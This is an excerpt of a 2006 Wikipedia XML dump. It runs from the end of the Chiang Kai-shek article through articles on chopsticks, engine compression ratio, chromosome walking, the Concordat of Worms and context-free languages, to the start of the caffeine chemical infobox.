Image:Mao Fumei.jpg|Mao Fumei (毛福梅, 1882-1939) Died in the [[Second Sino-Japanese War]] during a bombardment.
Image:Yao Zhicheng.jpg|Yao Yecheng (姚冶誠, 1889-1972) Fled to [[Taiwan]] and died in [[Taipei]].
Image:Chen Jieru.jpg|Chen Jieru (陳潔如, 1906-1971) Lived in [[Shanghai]]. Moved to [[Hong Kong]] later and died there.
&lt;/gallery&gt;

==Further reading==
*Crozier, Brian. ''The Man Who Lost China'': ISBN 068414686X
*Fenby, Jonathan. ''Generalissimo Chiang Kai-Shek and the China he lost'': 2003, The Free Press, ISBN 0-7432-3144-9
*Seagrave, Sterling. ''The Soong Dynasty'': 1996, Corgi Books, ISBN 0-552-14108-9

==External links==
* [http://www.president.gov.tw/1_roc_intro/e_xpresident/e_b_cha.html ROC Government Biography ]
* [http://www.asiawind.com/forums/read.php?f=3&amp;i=138515&amp;t=138515 Adoption of Chiang Kai-Shek (originally surnamed Zheng) into the Chiang Family]
* [http://www.taiwandocuments.org/surrender03.htm Order of Generalissimo Chiang Kai-shek supplementing the Act of Surrender] by Japan on [[September 9]] [[1945]]
* [http://www.time.com/time/poy2000/archive/1937.html?cnn=yes 1937 Man and Wife of the Year]
* [http://www.xikou114.com/jjs/js1.asp Family tree of his descendants] (in [[Simplified Chinese]]) 
* [http://www.gio.gov.tw/taiwan-website/av/sou_sig/sight01_2.htm 1966 GIO Biographical video]
* [http://www.cksmh.gov.tw/english/index.htm Chiang Kai-shek Memorial Hall]
* [http://www.spartacus.schoolnet.co.uk/2WWchaing.htm Chiang Kai-shek Biography] From Spartacus Educational
* [http://www.warbirdforum.com/avg.htm Annals of the Flying Tigers]

&lt;!--Succession boxes--&gt;
{{start box}}{{succession box|before=[[Hu Hanmin]] |after=none|title=Chairman of the Central Executive Committee of [[Kuomintang]]|years=[[1931]]&amp;ndash;[[1938]]}}
{{succession box|before=none (KMT headed by Committee) |after=[[Chiang Ching-kuo]] (Chairman of the Kuomintang)|title=Director-General of the [[Kuomintang]]|years=[[1938]]&amp;ndash;[[1975]]}}
{{succession box|before=[[Tan Yankai]]|after=[[Lin Sen]]|title=Chairman of the [[National Government of the Republic of China|National Government]]|years=[[1928]]&amp;ndash;[[1931]]}}
{{succession box|before=[[T.V. Soong]]|after=[[Chen Mingshu]]|title=[[Premier of the Republic of China]]|years=[[1930]]&amp;ndash;[[1931]]}}
{{succession box|before=[[Wang Jingwei]]|after=[[H. H. Kung]]|title=[[Premier of the Republic of China]]|years=[[1935]]&amp;ndash;[[1938]]}}
{{succession box|before=[[H. H. Kung]]|after=[[Song Ziwen]]|title=[[Premier of the Republic of China]]|years=1939&amp;ndash;1945}}
{{succession box|before=[[Lin Sen]]|after=none (National Government abolished)|title=[[Chairman of the National Government]]|years=[[1943]]&amp;ndash;[[1948]]}}
{{succession box|title=[[Premier of the Republic of China]]|before=[[Song Ziwen]]|after=[[Zhang Qun]]|years=1947}}
{{succession box|before=none (position established)|after=[[Li Tsung-jen]] (acting) |title=[[President of the Republic of China]]|years=[[May 20]], [[1948]]&amp;ndash;[[January 21]], [[1949]]}}
{{succession box|before=[[Li Tsung-jen]] (acting) |after=[[Yen Chia-kan]]|title=[[President of the Republic of China]]|years=[[March 1]], [[1950]]&amp;ndash;[[April 5]], [[1975]]}}
{{end box}}

[[Category:1887 births|Chiang Kai-shek]]
[[Category:1975 deaths|Chiang Kai-shek]]
[[Category:Chinese World War II people]]
[[Category:Chinese politicians]]
[[Category:Field Marshals]]
[[Category:Politicians of the Republic of China]]
[[Category:Revolutionaries]]
[[Category:World War II political leaders|Chiang Kai-shek]]
[[Category:Knights Grand Cross of the Bath]]

[[zh-min-nan:Chiúⁿ Kài-se̍k]]
[[cs:Čankajšek]]
[[da:Chiang Kai-shek]]
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[[et:Chiang Kai-shek]]
[[es:Chiang Kai-shek]]
[[eo:JIANG Jieshi]]
[[fr:Tchang Kaï-chek]]
[[ko:장제스]]
[[id:Chiang Kai-shek]]
[[it:Chiang Kai-shek]]
[[he:צ'יאנג קאי שק]]
[[hu:Csang Kaj-sek]]
[[nl:Chiang Kai-shek]]
[[ja:蒋介石]]
[[no:Chiang Kai-Shek]]
[[pl:Chiang Kai-shek]]
[[sl:Čang Kaj-Šek]]
[[fi:Jiang Jieshi]]
[[sv:Chiang Kai-shek]]
[[zh:蔣中正]]</text>
    </revision>
  </page>
  <page>
    <title>Chopsticks</title>
    <id>6861</id>
    <revision>
      <id>42071971</id>
      <timestamp>2006-03-03T17:01:29Z</timestamp>
      <contributor>
        <ip>165.124.103.178</ip>
      </contributor>
      <comment>/* Names */</comment>
      <text xml:space="preserve">:'''''&quot;Chopsticks&quot;''' is also the name of a simple piece of music for [[piano]]. See [[Chopsticks (music)]].''
:''&quot;Hashi&quot; redirects here. For the Japanese puzzle game, see [[Hashiwokakero]].''
{| border=1 width=300 cellpadding=2 cellspacing=0 align=right style=&quot;margin: 10px;&quot;
|-
! colspan=2 align=center bgcolor=#CCCCCC | '''Chopsticks'''
|-
! colspan=2 align=center | [[Image:Wooden and plastic chopsticks.jpeg|300px|Wood and plastic chopsticks]]
|-
! colspan=2 align=center | '''[[Chinese language|Chinese]] name'''
|-
| [[Standard Mandarin|Mandarin]]
| 筷子 (kuàizi &lt;sup&gt;[[Pinyin|?]]&lt;/sup&gt; )
|-
|width=150 | [[Cantonese language|Cantonese]] 
|width=150 | 筷子 (faai3 zi2 &lt;sup&gt;[[Jyutping|?]]&lt;/sup&gt; )
|-
|width=150 | [[Min Nan|Min Nan]]
|width=150 | 箸 (tī &lt;sup&gt;[[POJ|?]]&lt;/sup&gt; )
|-

! colspan=2 align=center | '''[[Japanese language|Japanese]] name'''
|-
| [[Kanji]]
| 箸
|-
| [[Hepburn]] [[Romaji]]
| hashi
|-
! colspan=2 align=center | '''[[Korean language|Korean]] name'''
|-
| [[Hangul]]
| 젓가락
|-
| width=150 | [[Revised Romanization of Korean|Revised Romanization]]
| width=150 | jeotgarak
|-
| width=150 | [[McCune-Reischauer]]
| width=150 | chŏtkarak
|-
! colspan=&quot;2&quot; align=&quot;center&quot;|'''[[Thai language|Thai]] name'''
|-
| width=&quot;150&quot;| [[Thai alphabet|Thai script]]
| width=&quot;150&quot;|ตะเกียบ
|-
| width=&quot;150&quot;| [[Royal Thai General System of Transcription|RTGS]]
| width=&quot;150&quot;| takiap
|-
! colspan=&quot;2&quot; align=&quot;center&quot;|'''[[Vietnamese language|Vietnamese]] name'''
|-
| width=&quot;150&quot;|''[[Quoc ngu|Quốc ngữ]]''
| width=&quot;150&quot;|đũa
|}
'''Chopsticks''', a pair of small even-length tapered sticks, are the traditional [[eating]] utensils of [[East Asia]] ([[China]], [[Japan]], [[Korea]], and [[Vietnam]], the four &quot;chopstick countries&quot;) as well as [[Thailand]], where they are now restricted to just soup and noodles since the introduction of [[Western world|Western]] utensils by King [[Rama V]] in the 19th century.  Chopsticks are commonly made of [[wood]], [[bamboo]], [[metal]], [[bone]], [[ivory]], and in modern times, [[plastic]] as well. It is believed that [[silver]] chopsticks were used in the Chinese royal palace to detect poison (possibly metallic oxides) in the royalty's meals; if poison was present, the chopsticks would become blackened owing to [[Single displacement reaction|displacement]].

==Names==
&quot;Chopstick&quot; is the [[pidgin]]-English and [[English language|English]] name for the tools. &quot;Chop&quot; is pidgin-English for &quot;quick&quot;, which remains in the English word &quot;chop chop&quot;. The [[Standard Chinese]] word for chopsticks is ''kuàizi'' (筷子) or ''kuài'er'' (筷兒), literally meaning &quot;the [[bamboo]]-objects for [[eat]]ing quickly&quot;, but actually &quot;筷&quot; is [[Chinese character classification|radical-phonetic compounds]], &quot;快&quot; is phonetic part, which does not have meaning ''quick'' here. However, originally in [[Classical Chinese]] and some dialects, like [[Min Nan]], the word 箸 ([[Pinyin]]:''zhù'', [[Min Nan]]: ''tī''), was used, possibly just a [[phonetic]] [[Chinese character|character]] that merely indicates that the object is made of bamboo, &quot;箸&quot; (zhu). Since the word is similar in sound as the word for stop (住 駐) or to rot, the word is considered a taboo on ships, because it would imply delay or misfortune on the voyage. As such, the Chinese began to refer chopsticks as &quot;筷&quot; which has the same root and sound as &quot;快&quot; meaning fast.

In [[Japanese language|Japanese]] chopsticks are called ''hashi'', written 箸. They are also known as {{nihongo|''otemoto''|おてもと|}}, a phrase commonly printed on the wrappers of disposable chopsticks.

In [[Korea]], 箸 (''jeo'') is used in the compound ''jeotgarak'' (젓가락) which is composed of ''jeo'' (chopsticks) and ''garak'' (stick). ''Jeo'' cannot be used alone.

The [[Vietnamese language]] uses the word ''đũa''&lt;!--, which means &quot;__&quot;--&gt;.

The [[Thai language]] uses the word &quot;ตะเกียบ&quot; (roughly pronounced dta-gee-yap)&lt;!-- can it be broken down / analysed / etc? --&gt;.

==History==
Chopsticks were developed in China about 3,000 to 5,000 years ago, although the exact date is unknown.

Tools resembling chopsticks were unearthed in the archeological site [[Megiddo (place)|Meggido]] in [[Israel]], belonging to [[Scythian]] invaders of [[Canaan]] before and contemporary to [[Moses]] and [[Joshua]]. This discovery may reveal the existence of a trade relationship between the Middle East and the Far East in early antiquity, or may be an independent parallel development. Chopsticks were also common household items of civilized [[Uyghur]]s on the [[Mongolian]] [[Steppes]] during the 6-8th centuries. [http://www.uglychinese.org/hun.htm]

==Usage==
Held between the thumb and fingers of the right hand, they are used as [[tongs]] to take up portions of the food, which is brought to the table cut up into small and convenient pieces, or (except in Korea) as means for sweeping the rice and small particles of food into the mouth from the bowl. Many rules of [[etiquette]] govern the proper conduct of the chopsticks.

Chopsticks are traditionally held in the right hand only, even by the left-handed. Biases against [[left-handed]] eating are becoming less severe. Chopsticks may now be found in either hand, although some still consider left-handed chopstick use as improper etiquette.

Chopsticks are simple in design: merely two thin rods (top and bottom area smaller than one square centimeter, length varies), each slightly tapered. The smaller, round ends come in contact with the food. Mastery requires some practice. In chopstick-using cultures, food is generally made into small pieces. Also, [[rice]] in East Asia is often prepared to be sticky, which leads to &quot;clumping&quot; of the rice condusive to eating with chopsticks, while rice prepared using [[Western World|Western]] methods tend to be &quot;fluffy&quot;, and is particularly difficult to eat with chopsticks. The stickyness also depends on the cultivar of rice; the cultivar used in the chopstick countries tends to be ''japonica'', which is stickier than ''indica'', which is used in curries.

==Types==
There are several styles of chopsticks that vary in respect to:
* '''Length''': Very long chopsticks, sometimes upwards of a meter in length, but usually about thirty or forty centimeters, tend to be used for cooking, especially for deep frying foods. In Japan they are called saibashi (菜箸). Shorter chopsticks are generally used as eating utensils but are nevertheless used in the kitchen for cooking. 
* '''Tapering''': The end of the chopsticks for picking up food are tapered to a blunt or a pointed end. Blunt tapered chopsticks provide more surface area for holding food and for shoveling rice. Pointed tapered chopsticks allow for easier manipulation of food and for picking out bones from whole cooked fish. 
* '''Material''': Chopsticks can be made from a variety of materials: [[metal]]s, [[jade]], [[plastic]]s, [[wood]] and [[bamboo]], [[bone]] and [[ivory]].
::*''Wood and bamboo'' chopsticks are cheap, low in temperature conduction and provide good grip for holding food due to their matte surfaces. However, they can warp and deteriorate with continued use, and can harbor bacteria if not properly cleaned. Almost all cooking and disposable chopsticks are made of either wood or bamboo. Disposable unlacquered chopsticks are used especially in restaurants. These come as a piece of wood which is partially cut, and then must be broken into two chopsticks by the user.
::*''Plastic'' chopsticks are cheap and low in temperature conduction. Furthemore they do not harbor bacteria or deteriorate much with continued use. Plastic chopsticks however, cannot be used for cooking since high temperatures may damage the chopsticks and produce toxic compounds. 
::*''Metal'' chopsticks are durable and are easy to clean. However, due to their smooth surfaces, metal chopsticks do not hold food as well as wood, plastic or bone chopsticks, and furthermore they tend to be more expensive. Their higher heat conduction also means that they are not as comfortable to use in cooking.
::*Materials such as ivory, jade, gold, and silver are typically chosen for luxury reasons.
* '''Embellishments''': Wooden or bamboo chopsticks can be painted or lacquered to decorate them and make them waterproof. Metal chopsticks are sometimes roughened or scribed on the tapered end in order to make them less slippery when picking up foods. High-end metal chopstick pairs are sometimes connected by a short chain at the untapered end to prevent their separation.

===Styles of chopstick used in different cultures===
* [[China|Chinese]]: longer sticks made of different materials that taper to a blunt end.
* [[Japan]]ese: short to medium length sticks that taper to a pointed end. This may be attributed to the fact that the Japanese diet consists of large amounts of whole bony fish. Japanese chopsticks are traditionally made of wood and are lacquered. 
* [[Korea]]n: medium length stainless steel rods that taper to a square blunted end, traditionally made of brass or silver. Many Korean metal chopsticks are ornately decorated in the untapered end. 
* [[Vietnam]]ese: long sticks that taper to a blunted end; traditionally wooden, but now made of plastic as well. Đũa cả is a large, flat chopstick that is used to serve rice from a pot [http://gkws0.informatik.uni-leipzig.de:8080/td?db=ve&amp;fmt=u&amp;pos=7719]

==How to use==
[[Image:Use_of_chopsticks.jpg|600px|Diagrams on how to hold chopsticks]]

#Put one chopstick between the palm and the base of the thumb, using the ring finger (the fourth finger) to support the lower part of the stick. With the thumb, squeeze the stick down while the ring finger pushes it up.  The stick should be stationary and very stable.
#Use the tips of the thumb, index and middle fingers to hold the other stick like a pen. Make sure the tips of the two sticks line up.
#Pivot the upper stick up and down towards the stationary lower stick. With this motion one can pick up food of surprising size.
#With enough practice, the two sticks function like a pair of pincers.

Another description is to tuck one stick under the thumb and hold the other as if it was a pencil. Keep the one below the other in regular position as you move ''only'' the ''top'' stick up and down.

Tip: For easier handling in the beginning, hold the sticks at the midpoint as a child would do. As proficiency increases, hold the sticks at the upper ends for a farther reach and greater carrying capacity. Make sure you handle both sticks at least 3 1/2 inches away from the tip and 1 3/4 of an inch spaced away from both sticks.

If the tips fail to line up, it will be difficult to hold things. Hold the chopsticks upright with one of the tips lightly touching the table, and gently push the chopsticks down or gently loosen your grip for a moment to let both tips become equal in length. You can also adjust your grip or holding position this way.

With practice, it is possible to perform step one and two simultaneously, on picking up the chopsticks with one hand, with a single fluid and seamless motion. Readjust your grip if necessary.

==General etiquette==
Chopstick etiquette is similar to general Western etiquette regarding eating utensils.

*Never wave your chopsticks around as if it was an extension of your hand gestures, bang them like [[drumstick]]s, or use them to move bowls or plates.
*Decide what to pick up before reaching with chopsticks (do not hover around or poke looking for special ingredients). After you have picked up an item, do not put it back in the dish.
*When picking up a piece of food, never use the tips of your chopsticks to poke through the food as if you were using a fork. However, this kind of stabbing maneuver is common in informal use for hard to pick up items like cherry tomatoes or tearing apart larger things like [[kimchi]].
*Never erect chopsticks point-first into a bowl of rice or a dish of entrée. This is reminiscent of ancestral offerings and can be seen as disrespectful.
*Chopsticks can be rested on one's plate or bowl to keep them off the table entirely.  A chopstick stand can also be used to keep the points off the table.
*In Chinese culture, it is normal to have your lips touching the edge of the rice bowl and using chopsticks to push rice directly into the mouth. In Korean culture, it is rude to pick the rice bowl off of the table and eat from it.
*In Chinese and Japanese etiquette, the blunt end is sometimes used to transfer food from a common dish to your own plate or bowl (never your mouth). In Korea, the blunt handle end is not considered sanitary.

===Chinese etiquette===
*While using chopsticks to pick up food, the back of your hand should face the ceiling at all times.  Twisting your chopsticks-holding wrist in such a way so that everyone can see your palm is considered &quot;unrefined&quot; in Chinese culture.
* Chinese traditionally eat rice from a [[bowl (vessel)|bowl]]. The rice bowl is raised to the mouth and the rice pushed into the mouth using the chopsticks. If rice is served on a plate, as is more common in the West, it is acceptable and more practical to eat it with a [[fork]] or [[spoon]]. 
* A set of chopsticks are one of the wedding gifts normally presented to Chinese newlyweds as the Chinese words for &quot;chopsticks&quot; and &quot;soon son&quot; are near-homophones.

===Japanese etiquette===
*Never use chopsticks to transfer something to someone else's chopsticks or someone else's plate or bowl. This is how bones are passed as part of funeral rites (see [[Japanese funeral]]).
*Always place the pointed ends of the chopsticks on a chopstick rest when the chopsticks are not being used.

===Korean etiquette===
*Unlike other chopstick cultures, Koreans use a [[spoon]] (traditionally, relatively flat, circular head with straight stick handle, unlike the Chinese soup spoon and similar to the Western spoon) for their rice and soup, and chopsticks for most other things at the table.
*Do not pick up the rice or food bowls and eat from them. Unlike Chinese rice, Korean steamed rice can be easily picked up with chopsticks, although eating rice with a spoon is more acceptable .

===Vietnamese etiquette===
*As with Chinese etiquette, the rice bowl is raised to the mouth and the rice is shoveled into the mouth using the chopsticks.
*Unlike with Chinese dishes, it is also practical to use chopsticks to pick up rice in plates, such as [[fried rice]], because Vietnamese rice is typically sticky.
*It is proper to always be using two chopsticks at once, even when used for stirring.

== Trivia ==
* In many Asian [[integrated circuits|IC]] and [[liquid crystal display|LCD]] [[Fab (semiconductors)|fab]]s, being capable of picking up small beads quickly with a pair of chopsticks is a requirement of employment. This is a very simple test of eye-hand coordination. Another test is [[needlework]].

==External links==
{{commons|Chopsticks}}
* [http://www.wandco.com/2005/05/27/chopsticks-ohashi-etiquette/ Japanese Chopsticks (Ohashi) Etiquette]
* [http://www.pconline.com.cn/market/hk/daogou/0502/552885.html Pry open a Mac mini using several disposable chopsticks]
* [http://www.niams.nih.gov/ne/highlights/spotlight/2004/chopstick.htm Study finds increased risk of osteoarthritis]
* [http://www.ichizen.com/chopsticks/ Erik's Chopsticks Gallery]

[[Category:Food utensils]]
[[Category:Chinese food preparation utensils]]
[[Category:Chinese cuisine]]
[[Category:Japanese cuisine]]
[[Category:Korean cuisine]]
[[Category:Vietnamese cuisine]]

{{Link FA|is}}

[[de:Essstäbchen]]
[[et:Söögipulgad]]
[[es:Palillos]]
[[fr:Baguettes]]
[[ko:젓가락]]
[[is:Matarprjónar]]
[[he:מקלות אכילה]]
[[nl:Eetstokjes]]
[[ja:箸]]
[[pt:Hashi]]
[[ru:Палочки для еды]]
[[simple:Chopstick]]
[[fi:Syömäpuikot]]
[[sv:Ätpinnar]]
[[th:ตะเกียบ]]
[[vi:Đũa]]
[[zh:筷子]]</text>
    </revision>
  </page>
  <page>
    <title>Compression ratio</title>
    <id>6863</id>
    <revision>
      <id>41251809</id>
      <timestamp>2006-02-26T01:58:01Z</timestamp>
      <contributor>
        <username>Motorhead</username>
        <id>226434</id>
      </contributor>
      <text xml:space="preserve">{{for|compression ratio in data compression|data compression ratio}}

The '''compression ratio''' is a single number that can be used to predict the performance of any [[internal-combustion engine]]. It is a ratio between the volume of a combustion chamber and cylinder when the piston is at the bottom of its stroke, and the volume when the piston is at the top of its stroke. The higher the compression ratio, the more mechanical energy an engine can squeeze from its air-fuel mixture. Higher compression ratios, however, also make [[engine knocking|detonation]] more likely.

The ratio is calculated by the following formula: 

:&lt;math&gt;\mbox{CR} = \frac { ( \pi b^2 s) / 4 +  V_c } {V_c} &lt;/math&gt;, where
:&lt;math&gt;b&lt;/math&gt; = [[cylinder (engine)|cylinder]] bore (diameter)&lt;br&gt;
:&lt;math&gt;s&lt;/math&gt; = [[piston]] stroke length&lt;br&gt;
:&lt;math&gt;V_c&lt;/math&gt; = volume of the [[combustion chamber]] (including head [[gasket]]). This is the minimum volume of the space into which the fuel and air is compressed prior to [[ignition system|ignition]].  Because of the complex shape of this space, it usually is measured directly rather than calculated.

Due to [[engine knocking|pinging]] (detonation), the CR in a [[gasoline]]/[[petrol]] or [[liquified petroleum gas|LPG]] or [[CNG]]-powered engine will usually not be much higher than 10:1. &lt;br&gt;
In engines with a ping [[sensor]] and an [[electronic control unit]], the CR can be as high as 12.5:1 ([[2005]] [[Audi A6]] 3.2)&lt;br&gt;
In a [[turbo charger|turbo charged]] or [[supercharger|super charged]] engine the CR will be around 8.5:1&lt;br&gt;
In a [[diesel engine]] the CR will be 20:1 and higher.

==Fault finding and diagnosis==
Measuring the compression [[pressure]] of an engine with a [[pressure gauge]] connected to the [[spark plug]] opening gives an indication of the engine's state and quality.

If the nominal compression ratio of an engine is given, e.g. as 1:10, then the measured pressure in each cylinder should be equal to or higher than 10 [[Bar (unit)|bar]] (see [[Boyle's law]] and [[combined gas law]]). If there is a significant (&gt; 10%) difference between cylinders, that may be an indication that [[poppet valve|valves]] or [[cylinder head]] [[gasket]]s are leaking, [[piston]] rings are broken, cylinders are worn or that the [[engine block]] is cracked.

== Saab Variable Compression engine ==
Because cylinder bore diameter, piston stroke length, and combustion chamber volume are almost always constant, the compression ratio for a given engine is almost always constant.

One exception is the [[experiment]]al [[Saab automobile|Saab]] Variable Compression (SVC) engine.  This engine uses a technique to dynamically alter the volume of the combustion chamber (V&lt;sub&gt;c&lt;/sub&gt;), which, via the above equation, changes the compression ratio (CR).

To alter V&lt;sub&gt;c&lt;/sub&gt;, the SVC &quot;lowers&quot; the [[cylinder head]] closer to the [[crankshaft]].  It does this by replacing the typical one-part engine block with a two-part block, with the crankshaft in the lower block, and the cylinders in the upper portion.  The two blocks are [[hinge]]d together at one side (imagine a book, lying flat on a table, with the front cover held an inch or so above the title page).  By pivotting the upper block around the hinge point, the V&lt;sub&gt;c&lt;/sub&gt; (imagine the air between the front cover of the book and the title page) can be modified.  In practice, the SVC adjusts the upper block through a small range of motion, using a [[hydraulic]] actuator.

However, the SVC project was shelved by [[General Motors]] (the owner of Saab Automobile) due to cost.

== Variable Compression Ratio (VCR) Engines==
The SAAB SVC is a very late addition to the world of VCR engines, the first being built and tested by [[Harry Ricardo]] in the [[1920s]], it lead on him devising the [[octane rating]] system that we still use today. The company has recently been involved with working with the &quot;Office of Advanced Automotive Technologies&quot; to produce a modern [[petrol]] VCR engine that showed an efficiency comparable with that of a [[Diesel]]. Many companies have been carrying out their own research in to VCR Engines including [[Nissan Motors|Nissan]], [[Volvo]], PSA/[[Peugeot]]-[[Citroën]] and [[Renault]].

== External links ==
*[http://www.fs.isy.liu.se/Lab/SVC/ SVC]

[[Category:engine technology]]
[[category:Saab engines]]

[[de:Verdichtungsverhältnis]]
[[es:Relación de compresión]]
[[sk:Kompresný pomer]]</text>
    </revision>
  </page>
  <page>
    <title>Chromosome walking</title>
    <id>6864</id>
    <revision>
      <id>18700286</id>
      <timestamp>2005-07-12T21:42:00Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Chromosome walking''' is a method in [[genetics]] for identifying and [[sequencing]] long parts of a [[DNA]] strand, e.g., a [[chromosome]]. As the traditional [[chain termination method]] does not allow long DNA strands to be sequenced, this method works by dividing the long sequence into several consecutive short ones. 

The basic technique is as follows:
# A [[primer (molecular biology)|primer]] that matches the beginning of the DNA to sequence is used to synthesize a short DNA strand complementary to the unknown sequence, starting with the primer (see [[PCR]]).
# The new short DNA strand is sequenced using the [[chain termination method]].
# The end of the sequenced strand is used as a primer for the next part of the long DNA sequence.
That way, the short part of the long DNA that is sequenced keeps &quot;walking&quot; along the sequence. The method can be used to sequence entire chromosomes (thus, ''chromosome walking''). A different method with the same purpose which becomes more popular for large-scale sequencing (e.g., the [[Human Genome Project]]) is [[shotgun sequencing]].

==See also==
* [[Shotgun sequencing]] - an alternative method, using random, rather than consecutive, sub-strands.


[[Category:Molecular biology]]
[[pl:Spacer po chromosomie]]</text>
    </revision>
  </page>
  <page>
    <title>Concordat of Worms</title>
    <id>6865</id>
    <revision>
      <id>40362161</id>
      <timestamp>2006-02-20T01:40:31Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Concordat of Worms''', sometimes called the ''Pactum Calixtinum'' by papal historians, was an agreement between [[Pope Calixtus II]] and Holy Roman Emperor [[Henry V, Holy Roman Emperor|Henry V]] on [[September 23]] [[1122]] near [[Worms, Germany|Worms]]. It brought to an end the first phase of the power struggle between the [[Papacy]] and the [[Holy Roman Emperor]]s. The King was recognized as having the right to invest bishops with secular authority (&quot;by the lance&quot;) in the territories they governed, but not with sacred authority (&quot;by ring and [[Crozier|staff]]&quot;).

Following efforts by Lamberto Scannabecchi (later [[Pope Honorius II]]) and the [[Diet of Wurzburg|Diet of Würzburg]] (1121) in 1122, Pope Calixtus II and Holy Roman Emperor Henry V agreed to end the [[Investiture Controversy]]. By the terms of the agreement, the election of bishops and abbots in Germany was to take place in the emperor's presence as judge between potentially disputing parties, [[simony|free of  bribes]], thus retaining to the emperor a crucial role in choosing these great territorial magnates of the Empire. Beyond the borders of the Empire, in [[Burgundy]] and [[Italy]], the Emperor was to forward the symbols of authority within six months. Calixtus' reference to the feudal homage due the emperor on appointment is guarded: &quot;shall do unto thee for these what he rightfully should&quot; was the wording of the ''privilegium'' granted by Calixtus. The Emperor's right to a substantial imbursement on the election of a bishop or  abbot was specifically denied.

The Emperor renounced the right to invest them with ring and [[crosier]], the symbols of their spiritual power, and guaranteed election by the canons of cathedral or abbey and free consecration.  The two parties ended by granting one another peace.

The Concordat was confirmed by the [[First Council of the Lateran]] in [[1123]].

==External links==
*[http://www.fordham.edu/halsall/source/worms1.html Concordat]: text in English

[[Category:Investiture Controversy]]
[[Category:1122]]

[[de:Wormser Konkordat]]
[[fr:Concordat de Worms]]
[[it:Concordato di Worms]]
[[la:Vormatiae concordatus]]
[[nl:Concordaat van Worms]]
[[ja:ヴォルムス協約]] 
[[pl:Konkordat wormacki]]
[[pt:Concordata de Worms]]
[[ru:Вормский конкордат]]
[[sl:Wormski konkordat]]
[[fi:Wormsin konkordaatti]]
[[sv:Wormskonkordatet]]
&lt;!-- This was perhaps meant to be a link to a different language; please fix it if you can: konkrodat --&gt;</text>
    </revision>
  </page>
  <page>
    <title>Context-free language</title>
    <id>6867</id>
    <revision>
      <id>40434778</id>
      <timestamp>2006-02-20T14:55:06Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">A '''context-free language''' is a [[formal language]] that is accepted by some [[pushdown automaton]].  Context-free languages can be generated by [[context-free grammar|context-free grammars]].

==Examples==
An archetypical context-free language is &lt;math&gt;L = \{a^nb^n:n\geq1\}&lt;/math&gt;, the language of all non-empty even-length strings, the entire first halves of which are &lt;math&gt;a&lt;/math&gt;'s, and the entire second halves of which are &lt;math&gt;b&lt;/math&gt;'s. &lt;math&gt;L&lt;/math&gt; is generated by the grammar &lt;math&gt;S\to aSb ~|~ ab&lt;/math&gt;, and is accepted by the pushdown automaton &lt;math&gt;M=(\{q_0,q_1,q_f\}, \{a\}, \{a,b,z\}, \delta, q_0, \{q_f\})&lt;/math&gt; where &lt;math&gt;\delta&lt;/math&gt; is defined as follows:

&lt;center&gt;
&lt;math&gt;\delta(q_0, a, z) = (q_0, a)&lt;/math&gt;&lt;br&gt;
&lt;math&gt;\delta(q_0, b, ax) = (q_1, x)&lt;/math&gt;&lt;br&gt;
&lt;math&gt;\delta(q_1, b, ax) = (q_1, x)&lt;/math&gt;&lt;br&gt;
&lt;math&gt;\delta(q_1, b, bz) = (q_f, z)&lt;/math&gt;&lt;br&gt;
&lt;/center&gt;

Context-free languages have many applications in [[programming languages]]; for example, the language of all properly matched parenthesis is generated by the grammar &lt;math&gt;S\to SS ~|~ (S) ~|~ \lambda&lt;/math&gt;.  Also, most arithmetic expressions are generated by context-free grammars.

== Closure Properties ==

Context-Free Languages are [[closure (mathematics)|closed]] under the following operations. That is, if &quot;L&quot; and &quot;P&quot; are Context-Free Languages and &quot;D&quot; is a Regular Language, the following languages are Context-Free as well:

* the [[Kleene star]] ''L''&lt;sup&gt;*&lt;/sup&gt; of ''L''
* the [[homomorphism]] φ(L) of &quot;L&quot;
* the [[concatenation]] ''LP'' of ''L'' and ''P''
* the [[union (set theory)|union]] ''L''&amp;cup;''P'' of &quot;L&quot; and &quot;P&quot;
* the [[intersection]] (with a Regular Language) ''L''&amp;cap;''D'' of &quot;L&quot; and &quot;D&quot;



Context-Free Languages are not closed under [[complement (complexity)|complement]], [[intersection]], or [[difference]].

==See also==
There is a [[pumping lemma]] for context-free languages, that gives a necessary condition for a language to be context-free.

== References ==

* {{cite book|author = [[Michael Sipser]] | year = 1997 | title = Introduction to the Theory of Computation | publisher = PWS Publishing | id = ISBN 0-534-94728-X}} Chapter 2: Context-Free Languages, pp.91–122.

{{Formal languages and grammars}}

[[Category:formal languages]]

[[cs:Bezkontextový jazyk]]
[[de:Kontextfreie Sprache]]
[[he:שפה חופשית הקשר]]
[[pl:Język bezkontekstowy]]
[[fi:Yhteydetön kieli]]</text>
    </revision>
  </page>
  <page>
    <title>Caffeine</title>
    <id>6868</id>
    <revision>
      <id>42066008</id>
      <timestamp>2006-03-03T16:01:22Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 42014332 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses1|the chemical substance caffeine}}
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! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| 1,3,7-trimethylxanthine
|-
| Other names
| trimethylxanthine&lt;br/&gt;theine&lt;br/&gt;mateine&lt;br/&gt;guaranine&lt;br/&gt;methyltheobromine
|-
| [[Chemical formula|Molecular formula]]
| [[carbon|C]]&lt;sub&gt;8&lt;/sub&gt;[[hydrogen|H]]&lt;sub&gt;10&lt;/sub&gt;[[nitrogen|N]]&lt;sub&gt;4&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;2&lt;/sub&gt;
|-
| [[Simplified molecular input line entry specification|SMILES]] 
| O=C1C2=C(N=CN2C)N(C(=O)N1C)C
|-
| [[Molar mass]]
| 194.19 g/mol
|-
| Appearance
| Odorless, white needles or powder
|-
| [[CAS registry number|CAS number]]
| [58-08-2]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 1.2 g/cm&lt;sup&gt;3&lt;/sup&gt;, solid
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| Slightly soluble
|-
&lt;!-- | Other solvents e.g. [[ethanol]], [[acetone]] --&gt;
